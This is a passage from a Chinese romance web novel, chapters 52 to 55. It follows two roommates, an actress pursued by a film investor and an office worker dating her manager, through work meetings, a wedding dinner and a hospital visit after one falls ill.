“嗯?”花尧举起手机,光在头顶,他们能清楚地看到对方的表情。 他笑容轻佻,“你的意思是,我故意带错路?” “难道不是?” “你真是冤枉我。”花尧有些委屈,指了指楼梯尽头,“走上去就到了。” 何伶绷着脸看他,明显不信。 要进组的不是花尧,他倒是不急不恼,独处的机会来之不易,他灼灼地盯着何伶的脸,眼睛都不眨一下。 何伶忍住甩他巴掌的冲动,转身要下楼,结果手臂被抓住,一阵眩晕过后,她被花尧按在墙角。 她惊叫:“我衣服会脏!” 话音未落,她的腰被搂住,用力一提,身体直接镶进男人的怀里。 花尧的下巴搁在她的肩膀,无比沉醉地搂着她,好似事后没有得到安抚,说的话隐隐带着酸气。 “又睡后不认账?” 何伶两条手臂都被他困束住,没有办法抵抗,只能以这样极度暧昧的姿势,说出冰冷无情的话。 “事先已经说好,是还你。” “还?”花尧的声音带着疑惑,似乎不认可这个说辞。 他轻笑,“我可没答应。” “你!”何伶气闷,昨天试妆结束,看到他和导演在一起,主动过去找,也算旧识,说话没有拐弯抹角。 她说:“那晚你说我欠你一次,如果你有时间的话,我想尽快还上。” 依旧是上次的总统套房,花尧明显比上次急色,前戏敷衍略过,直奔主题,恨不得把她钉在床上。 几次?忘记了,到后面体力不支,她恍恍惚惚看到落地窗外,一轮橙红色的太阳从地平线升起。 花尧深吸一口气,无赖之后,语气软了几分,“如果以后还有这方面的需求,不用不好意思,我随时可以。” 何伶冷哼,讥讽道:“你好像对你那方面的能力很满意。” 他笑容不减,搂得更紧,“是你的身体告诉我,她非常满意。” * 经过严格的检测,何伶的体能训练需要延长半个月,动作指导是个三十多岁的男人,从小练武,站在这什么都不做,就给人一种压迫感。 何伶拿着训练期的食谱,粗略扫了一眼。 “吃这么多啊…” 可怕,这表格里食物很单调,是减肥期常见的西兰花、鸡胸肉、牛肉、牛奶、坚果这种健康食物。 早中晚三顿,上午下午还要加餐,配合刚才动作指导口头说的训练计划,让何伶觉得,接下来的一个月,是地狱。 一上午的基础训练后,她去食堂吃饭,虽然刚开始运动强度低,但是身上没有一处不疼的。 身体这么痛苦,精神也…餐盘里是健身餐,绿的绿,白的白,看着没有一点食欲。 她举起手机,拍照,发给迟念。 【可伶可俐】:本牛马正式上套。 对面秒回,是一张餐桌照片。 她放大,仔细看。 白色桌面,中间摆满昂贵的食材,天上飞的,地上跑的,海里游的,堪比满汉全席,看得何伶眼冒酸水。 【可伶可俐】:你在哪? 【小迟】:嘿嘿,参加婚礼。 【可伶可俐】:谁结婚? 【小迟】:陈昼朋友,我陪他过来。 何伶白眼快翻到天上。 【可伶可俐】:参加婚礼可以,太阳落山之前必须回家,就算他表白了,也有一个月的考察期,最近这段日子,我会狠狠盯着你。 同一时间,城南的高级酒店里,音响播放着婚礼进行曲。迟念看向门口,一对新人缓缓走上红毯。 她随众人一起鼓掌。 手机摆在桌面,没来得及按灭,新消息弹出,刚巧被陈昼看到。 他只扫了一眼,就移开视线。 待司仪上台开场白时,迟念才恋恋不舍地收回目光,拿起手机,打了一行字发过去,表情没有波动。 陈昼微微侧过去,用商讨的语气说:“等会儿结束了有个晚宴,就在楼上宴会厅,我的朋友们想认识你。” 迟念愣了一下,不自然地挠了挠后颈,吞吞吐吐:“我…我下午有事,好像不能…” “没关系。”陈昼神色轻松,看起来并没有把晚宴放在心上,随后端起酒杯,专注地看着台上的新人。 交换戒指,说“我愿意”,拥抱,接吻,扔捧花,这是婚礼的固定流程。 然后是新人敬酒。 乔森一脸喜色,指着陈昼向新娘介绍:“这就是我经常和你说的那个富二代发小,这是他女朋友,叫…”他卡住,惊觉自己只在陈昼手机里看过备注名,“念念”万一是情侣专属称呼,他可就犯了大错了。 陈昼揽过迟念的肩膀,笑着看新娘:“迟念,迟到的迟,想念的念。” 迟念不太擅长处理这种初次见面,只能端着酒杯,传递友善的视线给予祝福:“新婚快乐,百年好合。” 新人笑着道谢,乔森给她倒酒,心直口快地说:“第一次见你的时候你脾气可挺冲,给我吓得半宿没睡着。” 陈昼递过空杯,瞪了他一眼,“别乱说。” 乔森无视新娘投来的噤声的眼色,说话好像蹦豆子,“也是我们灌醉你在先,迟念上楼看到你趴桌,当场炸了…” 迟念听得脚趾蜷缩,用眼神乞求:别说了大哥… 好在,新娘的指令传到乔森那,他立刻闭嘴,举起酒杯,“谢谢你们来参加我的婚礼,废话不说,全在酒里了。” 迟念赶紧把酒杯凑过去,碰杯之后,一饮而尽。 新人换到下桌,她坐下,虽觉得身侧视线灼热,却也坚持目视前方。 陈昼转着空杯,上次醉酒的记忆全都消失,在这样的场合,从好友口中得知那天的细节,难掩愉悦。 在得知公司里有关于他的谣言后,委托销售经理查一下,他本以为是她兼职当司机引起的,结果却相当意外。 在他还没有来到林江的时候,这边就已经在传播了。 销售经理非常详细地和他说了前因后果,带着一丝个人主观意识,把迟念形容成一个虚荣的拜金女。 ——她不知道在哪弄到您的照片,还发到朋友圈里说是男朋友,宣传部那帮人刷到之后,都信了,个个溜须拍马,我记得您最讨厌这样的人,直接把她开了吧。 他抬眼,看到销售经理一脸愤恨,突然笑了。 “我怎么没听说。” ——因为我开线上会议,勒令各部门主管不许再传了。 陈昼带着一丝不满的疑惑,面无表情地看着想要邀功的销售经理,“这件事你做得…不是很好。” 他怀着巨大的好奇,想弄清楚这件事,最后竟然查到了花尧。 约他出来去喝酒,趁他喝醉去洗手间时,拿起他的手机,循着初来那晚亮屏的记忆,找到红色APP。 他点进私聊页面。 猥琐主管、骚扰,跪求女友视角的照片,还有那铿锵有力的“有偿”两个字。 待花尧回来,他直接问:“我的照片值多少钱?” 花尧两眼迷蒙,“说什么呢你。” “打包卖我的照片,你收了人家多少钱。” “哦?噢噢!你说那次啊。”他认真想了想,伸出两根手指,“二百,不过哦,这钱当晚就请你喝酒了。” 所以,陈昼一直觉得,她对他从来没有爱慕之心,所做的一切,只是年轻女孩初入职场的自保。 如今看来,男朋友是不存在的,还从很早之前就表现出对他的暗恋,或许这段感情不是他单方面,而是相互。 意识到这点,他的笑容就没下去过。 直到迟念面带歉意,指了指手腕上的时间,“不早了,我得回家了。” 陈昼顺势拉过她的手,有了这份她也喜欢他的自信,再也不会忍耐失落,更不会觉得那位室友排在他前面了。 “如果我和你室友同时掉进水里,你先救谁?” 第53章 第五十三章 乐意效劳 电视正播放大热古偶剧, 迟念盘腿坐在地毯上,拿着一颗苹果在啃,在看到剧里男主坠崖落入湖里时, 她拍了下躺在沙发上的何伶。 “我想办一张游泳卡。” 何伶浑身酸痛,说话之前先哼唧两声,“之前一起学的时候得拽着你才去, 怎么突然感兴趣了?” “万一有人落水我可以下去救,全都救上来。” “…毛病。”何伶龇牙咧嘴,像八旬老人一样从沙发上直起身,“你一说水我有点渴了, 冰箱里有零度吗?” 迟念也不记得了, 站起来去看。她们的冰箱常年处于被打劫的状态, 打开之后, 里面只有一板鸡蛋。 外面天还没黑, 她提议:“吃西瓜吗?我下去买。” 何伶想到鲜红的果肉和甘甜的汁水,忍不住舔了舔嘴唇,刚想说可以, 就想到食谱下方大写加粗的一句——六点以后禁食。 她叹了口气。 “不吃。” “为什么,你现在又不用节食。”迟念关上冰箱门, 又坐回原处,拿起刚才啃到一半的苹果, 咬了一口。 “增肌比减脂饮食还严格。”她无力地躺回去。 手机在旁边震动,迟念以为自己的,随手拿起,结果看到来电显示,奇怪地说:“贼?这是谁啊?” 还没递过去,何伶就像触电一样弹起来, 夺走手机,飞跑进卧室,把门关紧。 迟念紧跟过去,耳朵贴在门缝,听到门板后冷声冷气的一句:“我们已经结束了,你到底还要缠我多久?” 通话时间很短,不到三分钟,何伶挂了电话才觉得浑身酸痛。她一瘸一拐地回到客厅,迟念正把苹果核扔进垃圾桶。 余光瞥到她出来,语气随意:“剧组的吗。” “嗯,武术陪练。” “才刚认识几天,怎么还叫人家贼呢?” 何伶慢悠悠坐下,脸不红气不喘地说:“哦,他捡到我发卡,说我以后会大火,非要留着做纪念。” 迟念悠悠抬起头,“然后你们就睡了。” 何伶:“……” “在你眼里我是那么随便的人?” “单纯捡发卡应该不会说‘我们已经结束了’这种话吧。”她支起下巴做审问状。 何伶心虚地捋了一下头发,弱弱地抱怨:“你又偷听。” “是的,从实招来吧。” 实际情况比预想的复杂,迟念听得皱起眉头,冷着脸说:“还是上次那个?他怎么阴魂不散呢。” 何伶坐在沙发角落,胳膊抱着膝盖,坦白之后,把头埋进臂弯里。 迟念凑过来,“这部剧是他投资的,你演女三,以后很难没有交集啊,他现在对你是什么态度?” “…唔。”何伶抬起头,精致的脸上平白覆上一丝心虚,“我觉得…他好像喜欢我。” “打住!”迟念做了一个停止的手势,“拜托,你长这么漂亮,性格也超好,喜欢你是理所当然的啊。” 何伶眨巴眨巴眼,自恋地把头发捋到耳后,“谢谢~” 迟念恨铁不成钢,“我没有在夸你!你给我打起精神,他是投资人,还要开影视公司,偏偏对你这样,是不是潜想规则?” “可能吧。” “这个老变态!” 老?何伶想到花尧那张优越的脸,还有最近隐隐练出的肌肉,无论是外貌和个性都和“老”字没关系。 “才二十八,挺年轻的。” 迟念瞪眼看她,“什么情况,你以前不都喜欢年纪小的弟弟吗,还说男人超过二十五就是老茄子包。” “我说过吗?” “说过不止一次。” 迟念吐出一口浊气,二十八确实不老,可老不老不重要,在这种关键时刻缠上,以后不就是何伶的黑点吗。 “就算以后火了,大家也会说你背靠金主,靠潜规则上位。” 何伶左耳听右耳冒,也不知怎么,升起一颗叛逆的心。 明明打定主意离他远点儿,结果迟念这一通说教,反倒觉得,花尧就算想潜规则,当她金主,她也不亏。 怎么在迟念嘴里,这人就一无是处了呢。 她抬起头,莫名有些委屈,“圈子里不都这样,要是没有他,我根本演不了女三,在短剧里都演不到好角色呢,这个世界可能只有你觉得我会火。” 迟念梗着脖子,声音比她更高,“对!在我心里你就是最好的演员!” 何伶的眼泪猝不及防滚出来,今天剧本试读,表演老师还当众批评她思想浅薄,理解不到角色的内核,在精神和□□双重打击下,太需要这样的鼓励了。 “真的吗?”她可怜巴巴地吸着鼻子。 迟念随手扯过一张纸巾扔她脸上,“千真万确!这是你人生的转折点,和男女关系相比,交出合格的作品才重要。” 何伶点头,目光变得坚定,“好,我会的。” * 周一开大会,这件事是周五就通知的。 可想而知,大家因为陈昼得突然留下,假期的好心情也大打折扣。 叶珍珠抱着一摞资料从打印室出来,刚好碰到下电梯的迟念,她跟在后面,等她打完卡才说话。 “早哦。” 迟念回头,看到一张略带疲色的脸,“早啊珍珠姐,怎么了你?”她担忧地打量,“昨晚没睡好吗?” “确实。”叶珍珠看着怀里的资料叹气,“可能整个分公司只有你睡得很好。” 迟念其实还好,睡前接了陈昼的电话,天南地北地闲聊,从国外见闻到小时候的趣事,十一点半才挂断电话。 今天开会,陈昼要早到,为了她能多睡一会儿,没有开车去接,所以搭地铁过来的,距离上班时间还剩两分钟时打的卡。 她神清气爽,“是九点开会吧?” “嗯。”叶珍珠看向走廊尽头紧闭的会议室大门,“现在主管经理开会呢,真受不了,刚歇两天又开始了。” 迟念不自然地笑了笑,莫名感觉这份埋怨自己也分到一半。 部门里依旧是她已经习惯的窃窃私语,还有自以为隐晦的打量,以前心虚,害怕被别人发现她撒谎。 现在,事已成真,感觉也没那么好。 她总觉得,大家把陈昼继续留在这里折磨人的怨气扣到她身上。 九点整,会议准时开始。各部门刚完成上一季度的总结,马上无缝开启下一季度,大家的表情都很沉重。 陈昼的工作状态一如既往像打了鸡血,有了上次的成功,他提前布局,目标是打进行业销售前十。 迟念拿着笔,记录此次的活动主题和宣传方向,耳边却传来阵阵呵欠声,她转头,娇娇正拿手指拭泪。 感受到打量的视线,娇娇表现出深深的懊悔:“我就不该嘴贱,要是那天不追着问,他兴许就回总部了。” 迟念盖上笔,不想和她搭话。 娇娇支着下巴,看似认真开会,实则向她传递腹语:“小迟,你也不用摆臭脸,我知道你烦我。” 迟念冷哼,“你知道就好。” 旁边的人不退反进,凉凉的胳膊贴过来,“你们谈这么久,没有结婚的打算吗?嫁进豪门当阔太哎。” 娇娇一想到某些贵妇场景就激动,奈何女主角不是她。 她“唉”了一声,“假如我是你的话,不可能谈四年,可能刚在一起一个月我就绑着他去领证了。” 迟念托着下巴,实则用手指堵住耳朵,隔绝苍蝇嗡嗡似的碎碎念。 大会结束,也到了午休时间,迟念在去食堂的路上,被韩主管截住,他驼着背,和上周比老了十岁。 他笑容谄媚,“小迟,你说,小陈总给各部门主管都安排了任务,怎么单单漏了我呢?” 迟念莫名其妙,“我怎么知道?” “你应该知道啊。”韩主管从兜里掏出一块皱巴巴的纸巾擦汗,见周围没人,对她苦笑着作揖,“小迟,之前总是下班之后打扰你,都是叔的错,您大人不记小人过,绕我一次好不好?” 迟念被他突然深鞠躬的动作吓得后退一步,皱眉说:“我从没和陈昼说过你的事,工作安排我也没资格插手,和我说这些干嘛。” 韩主管见她撇清,急得老脸皱出一堆褶,“小陈总肯定为了你才这样的,关键…”他真情实感地委屈,“我也没怎么着你啊。” 迟念早就饿了,结果去吃饭的路上被堵住,本就不耐烦,结果听到这话。 她抱起胳膊,冷声说:“你还想怎么着?就非得真实发生什么了,你才承认你这种行为是错误的吗?” 韩主管忙摆手,再次露出讨好的笑容,“别…我不是这个意思。” 迟念耐心耗尽,“关于工作和生活,我分得很清楚,希望你也一样,我就算对你不满,也不会私下搞小动作,我有我自己的方式。” 她一鼓作气说完,仿佛释放了全部的负面情绪,甚至笑了一下,“那我先去食堂吃饭了,下午见。” 端着餐盘,打了比平时量大的饭和菜,自然地走到陈昼对面坐下。 盛夏阳光刺眼,她从餐盘拿起一盒牛奶,咚的一下插进吸管,笑眯眯递过去,“陈昼,这是最后一盒了,给你。” 陈昼挑了挑眉,越过她的肩膀看向门口的餐柜,“那里面全都是。” 迟念撇嘴,对他又多了一份了解,除了洁癖爱干净之外,还浪漫过敏。她咬住吸管,狠狠地吸了半盒。 陈昼笑着看她,“怎么这么晚才过来,没看到我发的消息吗?” “看到了。”迟念耸了耸肩,“上班时间我听你的,随叫随到,下班之后我是女朋友,女朋友可以晚到。” 她理直气壮,语气甚至有些无赖,陈昼却相当吃这一套。 “很合理。” 迟念没长心地嘿嘿笑,从餐盘里夹出一块炸鸡送到他的餐盘里,“还有女朋友吃不完的东西,只能麻烦你。” 陈昼也笑,顺从地拿起筷子,“乐意效劳。” 第54章 第五十四章 急性肠胃炎 关于工作和生活, 陈昼比她分得还清楚。 就算在一起吃的午饭,腻腻歪歪的,也没耽误下午的组会单拎她出来批评。 空气弥漫严肃的味道, 众人低头噤声,听迟念的策划案被贬得一文不值。欢姐在桌下碰了碰娇娇的腿,眼神在说——又开始了。 娇娇低着头, 唇语回复——幸好我不是小陈总女朋友。 组会结束,迟念脑壳剧痛,仿佛被抽走全身的力气,从前讨厌的咖啡, 现在也变成离不开的良药。 她窝在工位上, 眼睛发直地盯着空白文档。 一阵香风忽至, 叶珍珠拍了拍她的肩膀, 眼神带着一丝同情, “小迟,小陈总叫你去办公室一下。” 迟念眼皮跳了跳,鼓出一口气, 慢慢吐掉。 她站起身,把喝到只剩冰块的咖啡杯扔进垃圾桶, 转身时,脸上笑意盈盈, “好的,马上过去。” 几道视线在身后打量,直到她站在经理室的门口才消失。扬手,敲了三下,里面传来一声简洁的“进”。 她走进去,把门关好。 陈昼站在窗边, 双手插兜,只给她一个背影。 “陈经理,您找我?” 话音刚落,男人倏地转身,见她规矩地站在办公桌前,慢步走过去。 是和开会时相反的眉眼温柔,他试探,“生气了?” 迟念打起精神,“没有!我觉得你说得很对,成功不能靠复制,我提交的方案确实有点换汤不换药。” 她一脸诚恳,完全没有表现出负面情绪,有的只是一个新人员工对自己业务能力的反思和剖析。 陈昼神色稍松,身子一歪,倚在桌角。 和她的距离触手可及,却没有一丝暧昧氛围。 “你说,不需要我的帮助,我现在给你一次改口的机会,你…”他顿了顿,声音略带蛊惑的味道,“确定不需要吗?” 迟念没有犹豫,坦荡地迎上他的目光,“不需要,我要靠自己努力!” 他歪头,“当主管?” “对,虽然听起来很渺小,但是对我来说…”她仔细斟酌措辞,“最快也得一年。” 陈昼点了点头,“差不多。”话锋却突然一转,“如果想快点完成也不是没可能,我一句话的事。” “不要!” 迟念毫不犹豫地拒绝了,并在这一瞬间想了很多。 以前觉得,背靠大树好乘凉,也因为把陈昼的照片发到朋友圈被同事误会,得到了实实在在的好处。 可虚伪的称赞和拍马并不能提升她的能力,若想在公司里挺直脊背,最终靠的还是过硬的能力。 得到这样的结论是因为一份企业人才报,她在里面看到陈昼。 巨长的篇幅,详细介绍了他毕业以后,隐藏身份进分公司,实习了快三个月才转正。 从底层员工做起,她甚至从刻意含糊的文字里捕捉到,他竟然也有相当长的打印买咖啡的跑腿期。 迟念突然对自己有了信心。 她本是为了深入了解他才看的履历,结果被激发斗志,怪不得在广安时,许维安一提起他就两眼发光。 就算抛开家世,他也是超级能力者。 所以,迟念鸡血员工上身,对于他能精准地看出她的问题所在,心里疯狂地叫好,甚至希望他多骂几句。 短短几秒钟,陈昼突然觉得迟念仿佛变了一个人,看他的眼神也变得炙热,不过这种炙热不应该出现在恋人之间。 他突然感觉毛毛的,“怎么了?” 迟念看着他的脸傻笑,“你好厉害啊,真的,简直是我的偶像。” 她总是毫不吝啬地夸奖,陈昼却不知道该摆什么表情,他在高压的生长环境长大,不管什么事都被要求做到完美。 做到了,也没有奖励,因为他本该如此。 他也对自己的成就没有实感,因为在他看来,人生就是完成一个又一个的目标,是必须做的事,无关其他。 奇异的电流在心底涌动,他隐隐知道,自己为什么会被迟念吸引。 情难自控,他靠近,手伸进她的腰间,却倏然一痛。 迟念拍掉他的手,慌张地看了眼身后的透明玻璃,“干吗呀,在公司里不可以这样!” 他突然后悔自己设了这条禁令。 深深吐了一口气,“下班之后想做什么?” 迟念没多想,“回家啊。” “你那室友真是…”他想到那聊天记录里的考察期,暗暗咬牙,“很在意你啊。” * 活动筹备前期,不需要加班,周末正常休息。 周五傍晚,绚烂的晚霞铺满天空,迟念忙完手头的工作,去茶水间倒水,顺便联系何伶问她几点回。 【可伶可俐】:开始剧本围读了,不知道几点。 【小迟】:好的。 【可伶可俐】:你早点回家。 【小迟】:你以为我像你[白眼]。 【可伶可俐】:我怎么啦,最近牛马一样忙工作,根本没有闲心想男人。 【小迟】:那个‘贼’没在你眼前晃? 【可伶可俐】:没有,他去澳门了。 【小迟】:那就好,你安心工作,不回来也没关系。 …… 墙壁上的挂钟指向六点。 迟念收拾好东西,看到经理室的门紧闭,脚步踌躇地进了电梯,在一层和负一层之间犹豫,到底按了负一。 电梯下行,她捧着手机敲字。 【小迟】:我等你哦。 结果迟迟没有回信,她都在地下停车场里站冷了,才听到电梯开门声,手机也适时收到陈昼的消息。 ——在哪? 迟念站在柱子后,这边是视觉死角,她歪着身子,看到陈昼边走边盯着手机,嗖地一下窜过去。 “在这!” 陈昼没有心理准备,手机扔出去了,却抱紧撞到怀里的女孩。 他脸上满是惊愕,手却在她后背上下摸了摸。 “这么凉,等多久了?” 迟念满不在乎,“也就一个小时而已。” “抱歉。”他弯腰捡起手机,顺势牵起她的手,边走边说:“早知道不开会了,怎么没上去找我?” “没关系啊,反正也没什么要紧事。” 他拉开车门,眼底现出不易察觉的怨气,“和你在一起是我最要紧的事。” 迟念没说话,红着脸坐进副驾驶。 盛夏天长,七点了太阳还没落山,车子驶出停车场,陈昼帮她拉下挡光板,问:“想做什么?” 她咽了下口水,“想吃你煮的面了。” “好。” 车子比平时速度快,直接停在公寓对街的超市门口,迟念解开安全带,抬头看了看巨大的牌匾,“要买东西吗?” 陈昼关上车门,“嗯,这几天忙,冰箱里什么都没有了。” 周五晚上,超市的人比平时多,陈昼推着购物车,熟门熟路走向蔬菜区,迟念还没等看清周围都有什么,他就选完了。 见他要去收银台,迟念倏地搂住他的胳膊。 “这么快!?” 陈昼看了眼购物车里的东西,“差不多就这些。” 啊! 怎么会有人不爱逛超市啊,迟念指着通往二楼的扶梯,“上面卖什么的?” “家用电器和日化产品。” “逛逛?” 没想到陈昼非常干脆地摇头,并把她的胳膊卷进自己怀里,硬带着她往前走,“没时间啊,万一你又有急事。” 迟念在这方面没有底气,马上收起小心思,乖乖地跟在他身后。 天虽长,但黑得也很快,街边的路灯依次亮起。 陈昼拎着购物袋,另一只手自然地牵着迟念,是那种恋人之间的十指紧扣,迟念却微微蹙眉,笑得很勉强。 一直撑到进电梯,迟念见他还不松手,认真地说:“你知道古代有种刑具吧,就是木头棒子夹手指。” 陈昼倏地泄力,抓起她的手检查,果然指根处微微泛着红。 他赶紧吹了几下,无比抱歉的语气:“对不起。” 迟念听到专属自己的话从他嘴里说出来,有种奇异的感觉,“上班我狂说对不起,下班后又换成你。” 她越想越开心,“你再说一次我听听。” 电梯叮的一声,有人进来,迟念赶紧恢复正经,不苟言笑站在角落。到了十五层,她还没反应过来就被他拉出去。 窗外彻底黑了,门口的声控灯却没亮,在混沌的暗色里,陈昼突然搂住她的腰,在她愣住时,吻了下她的唇。 空气微凉,身体里却烧起一团火,这是他们第一次在清醒状态下接吻,迟念不敢睁眼,待温热离开时,听到他在耳边说:“对不起。” * 公寓还是灰白的冷淡装修,可这次来却总觉得哪里不一样。 迟念捧着水杯,坐在椅子上看脚上穿的拖鞋。 粉色少女款,尺码正好,她蜷了蜷脚趾,问几米外洗菜的男人:“你什么时候买的拖鞋啊?” 陈昼专注干活,头都没抬地回答:“上周六下午,送你回家之后,怎么样,喜欢吗?” “喜欢!” “喜欢就好。” 说话的功夫,他把洗好的菜放在旁边沥水,又拿起一个盆,走到靠窗的柜子里,挖了一碗面粉。 迟念震惊。 她小碎步跑过去,“不会从和面开始吧?” 陈昼点头,掂了掂面粉的分量,故意放慢语速,“你赶时间吗?” “…不赶。” “那就好。”他唇角弯了弯,走去水龙头边,放极细的水流浇到面粉里,另一只手拿着筷子顺时针搅动。 迟念看他熟练的样子,有一阵恍惚。 心里想的话没憋住说了出来,“你好像我爸哦。” 陈昼的动作顿了一下,眼神不善地看向她,“你是说年龄…” “啊…不不不。”她指了指他沾满面粉的手,“我家就是我爸做饭,因为我和我妈都不会,做出来的东西狗都不吃。” 陈昼精神放松,想象一个小而温馨的房子,男人扎着围裙在厨房忙碌,母女围在旁边,想打下手,却找不到能干的。 他露出笑容。 “那你平时吃什么?”想了想,“外卖?” 迟念点头,“在外面随便吃,我们去年租房,燃气费才花了10块钱,还是过节的时候煮速冻水饺用掉的。” 陈昼蹙眉,“要不要搬来和我一起住?” 这提议不带半分别的想法,单纯是觉得她吃得很不健康,结果看到女孩僵掉的脸,他才觉得冒昧,用沾满面粉的手指刮了她的鼻子一下。 “开玩笑的。” 迟念却被他这一句话弄得耳根上烧,脑海里闪现刚才的吻,还有前几次意识不清时的亲密接触。 越想越热,男人的身体近在眼前,她忍住抱住的冲动,坐回椅子上冷静。 一碗简单的面,因为过程复杂,八点多才做好。 迟念刚拿起筷子,手机就在桌角震动。 陈昼突然有种不好的预感。 电话是何伶打来的,她突发急性肠胃炎,正躺在医院里,气若游丝地让迟念拿几件换洗衣服送过去。 事发紧急,迟念顿时食欲全无,猛地起身要走。陈昼忙抓住她手腕,声音冷静:“别慌,我送你去。” 第55章 第五十五章 你女朋友不喜欢你 其实何伶早上就觉得不太舒服了。 身体比平时虚, 一组简单的热身运动咬牙做完不说,还比平时多用了十分钟。本以为是早上没吃饭的缘故,结果中午的饭吃到一半肚子就剧痛。 她以为身体不适应这种饮食和强度, 和教练说休息一会儿就好了,下午的任务定在晚上做,还和迟念撒谎说剧本围读。 回完消息之后她就去休息室里躺着, 直到天黑,武术指导没等到人,找了一圈才发现她蜷在单人床上。 脸色煞白,一身冷汗。 赶紧招呼人过来, 几个大男人手忙脚乱把她背进车里, 一路疾驰到医院急诊, 医生瞥了一眼就确诊——急性肠胃炎。 不过她是病症偏重的, 应该是前期饿得太狠, 后期又紧急调整饮食,高强度运动出汗后,又狂喝冰水… 体质本就弱, 一个小毛病会放大无数倍。 武术指导看了眼病历,本就满是褶子的脸更加闹心。 刚训练一周, 基础还没打好就崩了,马上就要剧本围读, 时间肯定赶不开,到时候影响拍摄进度… 他马上给导演打了个电话,简单说明一下这边的情况,听筒里传来气急败坏地大吼:“住院了?哪位千金大小姐啊?” 武术指导擦了擦汗,“何伶。” “她早不犯病晚不犯……欸,你说谁?” 他小声重复了一下名字, 对面的态度突兀地急转,“哦你说小何啊,最近天这么热,你们这帮大男人喝冰水也就算了,这么不给她准备温水呢?” 武术指导猝不及防背了锅,他“我我我”半天,也没说出什么辩解的话来,只能尴尬一笑,“这谁能想到啊。” “在哪个医院?” 他环视四周,看了门口的标牌,“附属一院,现在急诊这边观察呢,等会儿得去四楼住院,您是要过来吗?” 对面安静两秒,“我又不是大夫,我去能干什么。” 武术指导颔首附和,内心却在OS:那你问这么多… 急诊病房里,何伶躺在床上,四肢没有一点力气;可是小腹坠痛难耐,她强撑着床沿支起身,问几米外的护士,“请问…洗手间在哪?” 护士正忙着填病历,听到说话声,随手指了下门口的房间,“那个就是。”说完才想起她的症状,抬头问:“要不要我扶你?” 何伶本想说需要,肚子里却一阵剧烈扭动,发出不太文雅的声音,她赶紧捂住,没办法放下羞耻心。 “不用了,我自己可以。” 她艰难地下了床,腿软无力,只能扶着墙往前走;经过人生中最漫长的几米后,终于推开洗手间的门。 待力气稍微恢复,她解开手机,给迟念打电话,“念念,我急性肠胃炎,你帮我收拾几件衣服拿过来,医院定位我发微信里了。” * 回去取衣服的路上,迟念焦灼得像热锅上的蚂蚁,陈昼边开车边低声安抚:“肠胃炎没事的,症状轻的甚至不需要治疗就能自愈。” 迟念眉心皱成川字,“可她说要住院,应该很严重。” “住院的话最多一周,不用担心。” 迟念不能安心,何伶本身胃就不好,之前还半个月没怎么吃东西,当时还开玩笑说通往成功的路都是不科学的。 现在好了,一语成谶,还没正式开始呢,人就倒了。 她吐出一口浊气,在心里默默祈祷:希望不严重。 车停在小区门口,迟念急忙下车,见陈昼也下来,忙说:“我收拾东西很快的,你在车里等我就好。” 他看向路灯幽暗的小路,不太放心。 “我陪你上去。” 迟念拗不过他,只好一起,下了电梯拧开门锁,她直奔进卧室里翻箱倒柜,陈昼没有进去,站在门口等。 待她收拾好一包东西出来,他说:“洗漱用品拿了吗?” 迟念忙得忘记这茬,又扎进洗手间里,拿出一个透明便携包。 陈昼低头,快速扫了一眼包里的东西,视线落在沙发旁边的小桌上,“那个保温杯也拿着吧,她得喝温水。” 迟念又跑去拿,全都塞进包里之后,万幸地说:“好在你跟我一起上来了,不然我肯定忘东忘西。” 陈昼弯腰拎起包,掂了掂,顺势揽过她的肩,“落下了也没关系,再回来取就是了。” 半个小时后,车子停在医院门口。迟念打开车门,为防止他再次跟下来,提前叮嘱:“你回去吧,早点休息,我可能得在这住。” 陈昼拉车门的动作顿住,在医院陪夜很难熬,他想了想,“我可以把她安排进高级病房,这样你们都能睡得舒服些。” 迟念非常干脆地摇头,“不用!” 陈昼见她坚决,便不再提,目送她急匆匆地跑进旋转门,精神还是没能放松,抬腕看了眼时间,九点半。 斟酌之后,还是决定进去,可能的话换个舒服的病房。 车子刚熄火,眼睛就被远远驶来的远光灯刺到,他抬起手臂遮挡,一阵引擎的刺耳声后,车歪歪扭扭停在不远处的车位。 夜深,医院周边灯光明亮,他看到那是一辆绿色的敞篷跑车,车门没开,直接跳下来一个衣着浮夸的男人。 很熟悉,也很骚包。 花尧听导演说何伶住院了,当场慌得不行,一路飙车过来的。 陈昼不知道他这个时间出现在医院的原因,下车跟上去,奈何没有来得及进同一部电梯。 他站在门口,看到红色数字停在四楼。 花尧冲进去的时候,迟念刚把温水倒进保温杯里,还没来得及拧紧,眼前忽然闪过一个黑影,然后是没有心理准备的撞击。 三秒钟后,她才清醒,保温杯里的水一大半都洒在衣服上,身体则紧贴着墙壁,手肘和后背丝丝拉拉的痛。 病床上,则多了个男人。 那男人把何伶紧紧抱在怀里,声音满是担忧:“到底怎么回事?怎么突然进医院了?是不是有人给你下毒?” 何伶身体虚脱,脑子反应也慢,听到这连环问之后才意识到现状,第一反应是紧张地看向迟念。 果然对上一张震惊的脸。 她挣脱不开,只能尽力举起手臂做投降状,“念念,你听我解释…” 花尧等了半天,结果等到这句不是对他说的话,心里有些奇怪,松开怀里的人,手顺势扶稳她的肩膀。 平时那张漂亮跋扈的脸,此刻却白惨惨的没有血色,心疼的痛感迅速扩散,“你都病成这样了还解释什么?” 可她视线一直定在身后的墙角,他忍不住转过头,看到衣服半湿的女孩,恍然想到刚才自己太心急了。 他随意摆了摆手,“对不起啊,衣服我会赔你一套新的哈。” 迟念看了看他,有看向何伶,眼神在说——你说的投资人不会就是这个流氓吧? 何伶用尽全身力气往后挪了挪,虽然身体和他划清界限,但是眼神闪躲,以迟念对她的了解,自己猜得应该没有错。 她深呼吸,把保温杯放在床头,抱着胳膊,居高临下地审视这个一直从何伶嘴里听说的男人。 花尧见她眼神不善,还赖着不走,顿时没耐心,“衣服赔你一套新的还不行?那两套总可以吧?” 迟念不想理他,微笑地看向何伶,“不是去澳门了吗?” 何伶很想解释,却突然捂住小腹,“肚子好痛,等我病好了再解释行吗?” 花尧来了半天,就这一句没听懂,凑过去问,“到底要解释什么?” 身后传来淡淡的女声:“解释你俩现在的关系。” “我俩的关系?”花尧早就看这人不顺眼了,不管是隔壁床的家属还是脱了白大褂的护士,都没有资格问这个。 他冷笑,“如你所见,恋爱关系。” 何伶一听,简直天塌,可急病在身,喘气都觉得疼,更别提大声说话了。她自以为用力地拧了一下男人的后腰,气若游丝:“…你想死啊,这是我朋友。” “朋友?”花尧察觉到后腰的凉意,自然抓起她的手放进怀里捂热,态度也一百八十度急转,“那我知道了,迟念是吧?”他主动伸出一只手,“我是花尧。” 